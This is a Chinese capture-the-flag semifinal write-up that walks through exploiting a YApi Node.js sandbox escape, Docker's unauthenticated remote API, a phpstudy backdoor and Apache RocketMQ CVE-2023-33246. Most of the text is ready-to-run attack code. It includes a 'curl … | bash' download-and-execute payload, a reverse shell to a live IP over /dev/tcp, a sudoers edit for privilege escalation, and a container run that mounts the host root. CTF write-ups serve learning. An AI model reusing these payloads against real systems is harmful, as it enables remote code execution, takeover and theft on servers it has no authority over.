复赛wp,不知道能不能进决赛。。。
快乐行程
首先发现3000有服务,发现是yapi
找到yapi漏洞
注册一个接口
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("curl http://150.158.17.237 | bash").toString()
然后我们直接反弹shell
发现不能打开root文件夹
提权sudo visudo -f /etc/sudoers -e 's/root ALL=(ALL:ALL) ALL/&\nidss ALL=(ALL:ALL) ALL/'
sudo cat /root/flag |
得到flag
由于yapi是用nodejs开发的,所以也存在nodejs的特性及缺陷点。
我们从公开的poc出发,做一个简要分析。
const sandbox = this; // 获取沙箱环境
const ObjectConstructor = this.constructor; // 获取 Object 对象构造函数
const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数
const myfun = FunctionConstructor('return process'); // 构造函数,返回process全局变量
const process = myfun();
mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()
这里想要探究命令执行的过程,得先了解Nodejs的VM库及部分函数。
在使用Nodejs创建vm环境后,会初始化对象sandbox。
由于this.constructor.constructor返回的是Function constructor,所以可以利用Function构造函数并执行。同时Function对象处于主程序中,这里构造的函数内的语句是返回process全局变量,结果是返回了主程序的环境变量,最终完成沙盒逃逸并执行代码。
ifconfig发现还有第二个网卡主机
直接上fscan
扫描到docker未授权的rce docker -H tcp://x.x.x.x:2375 docker -H tcp://x.x.x.x:2375 docker -H tcp://x.x.x.x:2375 docker -H tcp://x.x.x.x:2375
cd mnt/root/
images
ps
pull busybox
run -it -v /:/mnt 69593048aa3a /bin/bash
拿到flag
温故而知新
发现是phpstudy后门漏洞
找了一篇文章
按照着填一下连接
得到flag
多年前的约定
扫了一下发现
Host is up (0.024s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
111/tcp open rpcbind 2-4 (RPC #100000)
9876/tcp open ssl/sd?
这个端口看了看可能是Apache RocketMQ 看看最近的漏洞,找到了远程命令执行
直接反弹shell
java -jar CVE-2023-33246.jar -ip "10.119.140.172" -cmd "bash -i >& /dev/tcp/150.158.17.237/6666 0>&1"
得到flag
期待晋级吧。。。。请多多关注我们!